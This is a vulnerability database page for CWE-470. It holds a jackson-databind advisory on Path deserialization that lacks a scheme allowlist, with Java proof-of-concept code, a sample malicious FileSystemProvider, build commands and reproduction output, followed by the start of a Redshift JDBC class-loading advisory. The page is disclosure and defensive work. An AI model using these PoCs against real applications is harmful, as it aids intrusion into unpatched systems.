Common Weakness Enumeration
CWE-470
AllowedUse of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')
Abstraction: Base · Status: Draft
The product uses external input with reflection to select which classes or code to use, but it does not sufficiently prevent the input from selecting improper classes or code.
200 vulnerabilities reference this CWE, most recent first.
GHSA-WJGM-6HV5-3CVF
Vulnerability from github – Published: 2026-09-28 20:19 – Updated: 2026-09-28 20:19
VLAI
Summary
jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution
Details
Summary
A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().
Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.
Description
NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):
int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value); // attacker-controlled URI string
try {
return Path.of(uri); // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
final String scheme = uri.getScheme();
for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
if (provider.getScheme().equalsIgnoreCase(scheme)) {
return provider.getPath(uri); // attacker scheme selects & drives a provider
}
}
// no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}
The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.
Vulnerable Code Location
src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.javaSTD_PATH→NioPathHelper.deserialize;NioPathHelper.deserializebody (new URI→Path.of(uri)→ServiceLoader.load(FileSystemProvider.class)→provider.getPath(uri)).
Proof of Concept
Two PoCs are provided.
PoC 2 registers a custom
FileSystemProviderto show that attacker JSON reachesprovider.getPath(attackerURI)insidereadValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — thejar:/arbitrary-scheme path reaching theServiceLoaderfallback with no scheme restriction.
PoC 1 — sink reached (built-in jar provider).
com/poc/Vuln04_PathProvider.java:
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;
/**
* Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
* Path.of(uri) / ServiceLoader<FileSystemProvider>.
*/
public class Vuln04_PathProvider {
public static class Config { public Path workdir; }
public static void main(String[] args) throws Exception {
ObjectMapper mapper = JsonMapper.builder().build();
// jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
System.out.println("Deserializing (default mapper): " + json);
try {
Config c = mapper.readValue(json, Config.class);
System.out.println("Resolved Path = " + c.workdir + " (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
} catch (Throwable t) {
System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
}
}
}
PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider).
A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.
com/poc/EvilFileSystemProvider.java:
package com.poc;
import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;
/**
* A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
* scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
* application's classpath. Its static initializer and getPath() record that they executed,
* proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
* inside jackson's readValue.
*/
public class EvilFileSystemProvider extends FileSystemProvider {
public static volatile boolean STATIC_INIT_RAN = false;
public static volatile String GET_PATH_URI = null;
static { STATIC_INIT_RAN = true; }
@Override public String getScheme() { return "evilscheme"; }
@Override public Path getPath(URI uri) {
GET_PATH_URI = uri.toString();
System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
// A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
}
// --- remaining abstract methods: minimal stubs ---
@Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
@Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
@Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
@Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
@Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
@Override public void delete(Path p) { throw new UnsupportedOperationException(); }
@Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
@Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
@Override public boolean isSameFile(Path p, Path p2) { return false; }
@Override public boolean isHidden(Path p) { return false; }
@Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
@Override public void checkAccess(Path p, AccessMode... m) { }
@Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
@Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
@Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
@Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}
Registration descriptor —
src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:
com.poc.EvilFileSystemProvider
Driver — com/poc/Vuln04b_PathProviderMount.java:
package com.poc;
import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
/**
* Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
* META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
* classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
* (1) load the provider class (running its static initializer) and (2) invoke
* provider.getPath(attackerUri) -- all inside readValue, with NO application code.
*/
public class Vuln04b_PathProviderMount {
public static class Config { public java.nio.file.Path workdir; }
public static void main(String[] args) throws Exception {
System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN);
ObjectMapper mapper = JsonMapper.builder().build(); // default config
String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}";
System.out.println("Deserializing (default mapper): " + json);
Config c = mapper.readValue(json, Config.class);
System.out.println("Resolved Path = " + c.workdir);
System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN);
System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI);
boolean ok = EvilFileSystemProvider.GET_PATH_URI != null
&& EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled");
System.out.println(ok
? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)"
: "RESULT: NOT reproduced");
}
}
Execution Steps
The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath
# 0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"
# 1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
src/main/java/com/poc/EvilFileSystemProvider.java \
src/main/java/com/poc/Vuln04_PathProvider.java \
src/main/java/com/poc/Vuln04b_PathProviderMount.java
# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
out/META-INF/services/java.nio.file.spi.FileSystemProvider
# 3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider # PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount # PoC 2
Reproduction Evidence
Executed against jackson-databind 3.2.1 (OpenJDK 25).
PoC 1 :
Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"}
Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`
at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"])
RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)
Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.
PoC 2 :
Provider static-init ran before deserialization? true
Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"}
>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1
Resolved Path = /var/folders/.../T/evilprovider-marker
Provider static-init ran: true
Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1
RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)
Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.
Impact
Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the
scheme-restriction gap.
Recommended Fix
- Restrict the resolved scheme to a fixed, hard-coded set ; reject
jar:and other schemes viactxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface. - Skip the
ServiceLoader<FileSystemProvider>enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider. - Document that
java.nio.file.Path-typed fields should not be bound from untrusted JSON.
Severity
5.3 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.10"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-19032"
],
"database_specific": {
"cwe_ids": [
"CWE-470",
"CWE-610"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-28T20:19:19Z",
"nvd_published_at": "2026-09-01T04:18:00Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nA `java.nio.file.Path` field bound from untrusted JSON reaches `JDKFromStringDeserializer.NioPathHelper.deserialize`. The attacker string flows through `new URI(value)` \u2192 `Path.of(uri)`, then on `FileSystemNotFoundException` into a `ServiceLoader\u003cFileSystemProvider\u003e` enumeration that calls `provider.getPath(uri)` on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default `JsonMapper.builder().build()`.\n\nImpact is bounded. The JDK built-in providers (`file`, `jar`/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding `Path` from untrusted input is already an anti-pattern.\n\n### Description\n\n`NioPathHelper.deserialize` performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via `ctxt.handleInstantiationProblem(...)`):\n\n```java\nint colonIx = value.indexOf(\u0027:\u0027);\nif (colonIx \u003c 0) { return Path.of(value); }\n...\nfinal URI uri = new URI(value); // attacker-controlled URI string\ntry {\n return Path.of(uri); // resolves scheme -\u003e may load a FileSystemProvider\n} catch (FileSystemNotFoundException cause) {\n final String scheme = uri.getScheme();\n for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {\n if (provider.getScheme().equalsIgnoreCase(scheme)) {\n return provider.getPath(uri); // attacker scheme selects \u0026 drives a provider\n }\n }\n // no matching provider -\u003e ctxt.handleInstantiationProblem(...) (throws by default)\n}\n```\n\nThe attacker\u0027s scheme selects the provider and the attacker\u0027s URI is passed to it; the enumeration also forces provider classloading during `readValue`. For built-in schemes like `jar:`, `getPath` throws `FileSystemNotFoundException` (a mount requires explicit `newFileSystem`), surfacing as a wrapped `ValueInstantiationException` with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.\n\n## Vulnerable Code Location\n\n- `src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java`\n - `STD_PATH` \u2192 `NioPathHelper.deserialize`; `NioPathHelper.deserialize` body \n (`new URI` \u2192 `Path.of(uri)` \u2192 `ServiceLoader.load(FileSystemProvider.class)` \u2192 `provider.getPath(uri)`).\n\n\n## Proof of Concept\n\nTwo PoCs are provided. \n\n\u003e PoC 2 registers a custom `FileSystemProvider` to show that attacker JSON reaches `provider.getPath(attackerURI)` inside `readValue`. Whether a third-party provider then does anything harmful is outside the library\u0027s control. The in-scope issue is **PoC 1** \u2014 the `jar:`/arbitrary-scheme path reaching the `ServiceLoader` fallback with no scheme restriction.\n\n**PoC 1 \u2014 sink reached (built-in `jar` provider).** \n\n`com/poc/Vuln04_PathProvider.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\nimport java.nio.file.Path;\n\n/**\n * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via\n * Path.of(uri) / ServiceLoader\u003cFileSystemProvider\u003e.\n */\npublic class Vuln04_PathProvider {\n public static class Config { public Path workdir; }\n\n public static void main(String[] args) throws Exception {\n ObjectMapper mapper = JsonMapper.builder().build();\n // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.\n String json = \"{\\\"workdir\\\":\\\"jar:file:/tmp/jackson_poc_evil.zip!/x\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n try {\n Config c = mapper.readValue(json, Config.class);\n System.out.println(\"Resolved Path = \" + c.workdir + \" (class=\" + (c.workdir==null?\"null\":c.workdir.getClass().getName()) + \")\");\n System.out.println(\"RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue\");\n } catch (Throwable t) {\n System.out.println(\"Throwable during resolution: \" + t.getClass().getName() + \": \" + t.getMessage());\n System.out.println(\"RESULT: VULNERABLE (attacker URI drove provider resolution; threw \" + t.getClass().getSimpleName() + \" inside readValue)\");\n }\n }\n}\n```\n\n**PoC 2 \u2014 scheme-selection mechanism demo (custom `FileSystemProvider`).**\nA third-party provider (scheme `evilscheme`) registered via `META-INF/services/java.nio.file.spi.FileSystemProvider`, which is standing in for *any* provider a real application ships. \n\n`com/poc/EvilFileSystemProvider.java`:\n```java\npackage com.poc;\n\nimport java.nio.file.*;\nimport java.nio.file.spi.FileSystemProvider;\nimport java.nio.file.attribute.*;\nimport java.net.URI;\nimport java.io.IOException;\nimport java.util.*;\nimport java.util.Set;\nimport java.nio.channels.SeekableByteChannel;\n\n/**\n * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the\n * scheme \"evilscheme\". It stands in for ANY third-party FileSystemProvider present on a real\n * application\u0027s classpath. Its static initializer and getPath() record that they executed,\n * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)\n * inside jackson\u0027s readValue.\n */\npublic class EvilFileSystemProvider extends FileSystemProvider {\n public static volatile boolean STATIC_INIT_RAN = false;\n public static volatile String GET_PATH_URI = null;\n static { STATIC_INIT_RAN = true; }\n\n @Override public String getScheme() { return \"evilscheme\"; }\n\n @Override public Path getPath(URI uri) {\n GET_PATH_URI = uri.toString();\n System.out.println(\"\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: \" + uri);\n // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.\n return java.nio.file.Path.of(System.getProperty(\"java.io.tmpdir\"), \"evilprovider-marker\");\n }\n\n // --- remaining abstract methods: minimal stubs ---\n @Override public FileSystem newFileSystem(URI uri, Map\u003cString,?\u003e env) { throw new UnsupportedOperationException(); }\n @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }\n @Override public SeekableByteChannel newByteChannel(Path p, Set\u003c? extends OpenOption\u003e o, FileAttribute\u003c?\u003e... a) throws IOException { throw new UnsupportedOperationException(); }\n @Override public DirectoryStream\u003cPath\u003e newDirectoryStream(Path d, DirectoryStream.Filter\u003c? super Path\u003e f) { throw new UnsupportedOperationException(); }\n @Override public void createDirectory(Path d, FileAttribute\u003c?\u003e... a) { throw new UnsupportedOperationException(); }\n @Override public void delete(Path p) { throw new UnsupportedOperationException(); }\n @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }\n @Override public boolean isSameFile(Path p, Path p2) { return false; }\n @Override public boolean isHidden(Path p) { return false; }\n @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }\n @Override public void checkAccess(Path p, AccessMode... m) { }\n @Override public \u003cV extends FileAttributeView\u003e V getFileAttributeView(Path p, Class\u003cV\u003e t, LinkOption... o) { return null; }\n @Override public \u003cA extends BasicFileAttributes\u003e A readAttributes(Path p, Class\u003cA\u003e t, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public Map\u003cString,Object\u003e readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }\n @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }\n}\n```\n\nRegistration descriptor \u2014\n`src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider`:\n```\ncom.poc.EvilFileSystemProvider\n```\n\nDriver \u2014 `com/poc/Vuln04b_PathProviderMount.java`:\n```java\npackage com.poc;\n\nimport tools.jackson.databind.ObjectMapper;\nimport tools.jackson.databind.json.JsonMapper;\n\n/**\n * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via\n * META-INF/services (scheme \"evilscheme\") stands in for any provider on a real app\u0027s\n * classpath. Attacker JSON with that scheme drives jackson\u0027s ServiceLoader fallback to\n * (1) load the provider class (running its static initializer) and (2) invoke\n * provider.getPath(attackerUri) -- all inside readValue, with NO application code.\n */\npublic class Vuln04b_PathProviderMount {\n public static class Config { public java.nio.file.Path workdir; }\n\n public static void main(String[] args) throws Exception {\n System.out.println(\"Provider static-init ran before deserialization? \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n ObjectMapper mapper = JsonMapper.builder().build(); // default config\n String json = \"{\\\"workdir\\\":\\\"evilscheme://attacker-controlled/target?x=1\\\"}\";\n System.out.println(\"Deserializing (default mapper): \" + json);\n\n Config c = mapper.readValue(json, Config.class);\n\n System.out.println(\"Resolved Path = \" + c.workdir);\n System.out.println(\"Provider static-init ran: \" + EvilFileSystemProvider.STATIC_INIT_RAN);\n System.out.println(\"Provider.getPath() attacker URI: \" + EvilFileSystemProvider.GET_PATH_URI);\n boolean ok = EvilFileSystemProvider.GET_PATH_URI != null\n \u0026\u0026 EvilFileSystemProvider.GET_PATH_URI.contains(\"attacker-controlled\");\n System.out.println(ok\n ? \"RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\"\n : \"RESULT: NOT reproduced\");\n }\n}\n```\n\n## Execution Steps\n\nThe PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain `javac`/`java` . PoC 2 additionally requires the `META-INF/services` descriptor to be on the **runtime** classpath\n\n```bash\n# 0. Locate the three published dependency jars.\nM2=\"$HOME/.m2/repository\"\nDB=\"$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar\"\nCORE=\"$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar\"\nANN=\"$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar\"\nCP=\"$DB:$CORE:$ANN\"\n\n# 1. Compile the three sources.\ncd poc-project\nmkdir -p out\njavac -cp \"$CP\" -d out \\\n src/main/java/com/poc/EvilFileSystemProvider.java \\\n src/main/java/com/poc/Vuln04_PathProvider.java \\\n src/main/java/com/poc/Vuln04b_PathProviderMount.java\n\n# 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).\nmkdir -p out/META-INF/services\ncp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \\\n out/META-INF/services/java.nio.file.spi.FileSystemProvider\n\n# 3. Run both PoCs.\njava -cp \"out:$CP\" com.poc.Vuln04_PathProvider # PoC 1\njava -cp \"out:$CP\" com.poc.Vuln04b_PathProviderMount # PoC 2\n```\n\n## Reproduction Evidence\n\nExecuted against jackson-databind 3.2.1 (OpenJDK 25).\n\n**PoC 1 :**\n```\nDeserializing (default mapper): {\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}\nThrowable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`\n at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config[\"workdir\"])\nRESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)\n```\nNotes: the JDK **built-in** `jar` provider\u0027s `getPath` does not auto-mount (it also throws `FileSystemNotFoundException`, since only `newFileSystem` mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven `ServiceLoader` resolution during `readValue` with no allow-list. PoC 2 only illustrates the downstream mechanism.\n\n**PoC 2 :**\n```\nProvider static-init ran before deserialization? true\nDeserializing (default mapper): {\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}\n\u003e\u003e\u003e [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1\nResolved Path = /var/folders/.../T/evilprovider-marker\nProvider static-init ran: true\nProvider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1\nRESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)\n```\nPurely from a JSON string, jackson\u0027s `ServiceLoader` fallback selected the attacker-named scheme\u0027s provider and invoked `provider.getPath(uri)` with the full attacker URI inside `readValue`. Whether a given provider then does anything harmful is outside the library\u0027s control; the in-scope issue is the absence of a scheme restriction before this fallback runs.\n\n## Impact\n\nUntrusted JSON drives `provider.getPath(attackerURI)` on an attacker-chosen provider during `readValue`. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the\nscheme-restriction gap.\n\n## Recommended Fix\n\n1. **Restrict the resolved scheme to a fixed, hard-coded set** ; reject `jar:` and other schemes via `ctxt.handleWeirdStringValue(...)`. A hard-coded set keeps the fix backport-safe with no new configuration surface.\n2. **Skip the `ServiceLoader\u003cFileSystemProvider\u003e` enumeration for disallowed schemes**, so untrusted JSON cannot select and drive an arbitrary registered provider.\n3. Document that `java.nio.file.Path`-typed fields should not be bound from untrusted JSON.",
"id": "GHSA-wjgm-6hv5-3cvf",
"modified": "2026-09-28T20:19:19Z",
"published": "2026-09-28T20:19:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-wjgm-6hv5-3cvf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-19032"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/pull/6129"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/cc6756b61ed90b6b9227f670e0408d5d9bd48551"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/ce26eda3481cd796f76ba4c53ffe1da23b53f166"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/d94bb632becfe0ba96926b9909ab06d1f87aad6d"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.18.10"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.21.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-2.22.2"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.1.6"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/releases/tag/jackson-databind-3.2.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution"
}
GHSA-WMMV-VVG5-993Q
Vulnerability from github – Published: 2026-05-14 13:09 – Updated: 2026-05-14 13:09
VLAI
Summary
Amazon Redshift Vulnerable to Remote Code Execution via Unsafe Class Loading
Details
Summary
Amazon Redshift JDBC Driver is a Type 4 JDBC driver that provides database connectivity through the standard JDBC application program interfaces (APIs). An issue exists in versions prior to 2.2.2 where the driver could load arbitrary classes when processing certain connection URL parameters, potentially allowing code execution in the application context.
Impact
When a JDBC connection URL contains certain parameters, the driver processes the parameter values in a way that could trigger the execution of code from classes available on the application's classpath. An actor who can influence the JDBC connection URL could leverage this to execute code in the context of the application's JVM process. Successful exploitation could allow the actor to read sensitive data, modify application state, or disrupt service availability with the privileges of the application process.
Impacted versions: Amazon Redshift JDBC Driver < 2.2.2
Patches
This issue has been addressed in Amazon Redshift JDBC Driver version 2.2.2. We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.
References
If you have any questions or comments about this advisory, we ask that you contact AWS Security via our vulnerability reporting page or directly via email to aws-security@amazon.com. Please do not create a public GitHub issue.
Acknowledgement
We would like to thank Fushuling for collaborating on this issue through the coordinated issue disclosure process.
Severity
8.1 (High)
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.amazon.redshift:redshift-jdbc42"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.2.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-8178"
],
"database_specific": {
"cwe_ids": [
"CWE-470"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T13:09:52Z",
"nvd_published_at": "2026-05-08T19:16:31Z",
"severity": "CRITICAL"
},
"details": "### Summary\nAmazon Redshift JDBC Driver is a Type 4 JDBC driver that provides database connectivity through the standard JDBC application program interfaces (APIs). An issue exists in versions prior to 2.2.2 where the driver could load arbitrary classes when processing certain connection URL parameters, potentially allowing code execution in the application context.\n\n### Impact\nWhen a JDBC connection URL contains certain parameters, the driver processes the parameter values in a way that could trigger the execution of code from classes available on the application\u0027s classpath. An actor who can influence the JDBC connection URL could leverage this to execute code in the context of the application\u0027s JVM process. Successful exploitation could allow the actor to read sensitive data, modify application state, or disrupt service availability with the privileges of the application process.\n\nImpacted versions: Amazon Redshift JDBC Driver \u003c 2.2.2\n\n### Patches\nThis issue has been addressed in Amazon Redshift JDBC Driver version [2.2.2](https://github.com/aws/amazon-redshift-jdbc-driver/releases/tag/v2.2.2). We recommend upgrading to the latest version and ensuring any forked or derivative code is patched to incorporate the new fixes.\n\n### References\nIf you have any questions or comments about this advisory, we ask that you contact AWS Security via our [vulnerability reporting page](https://aws.amazon.com/security/vulnerability-reporting) or directly via email to [aws-security@amazon.com](mailto:aws-security@amazon.com). Please do not create a public GitHub issue.\n\n### Acknowledgement\nWe would like to thank [Fushuling](https://github.com/Fushuling) for collaborating on this 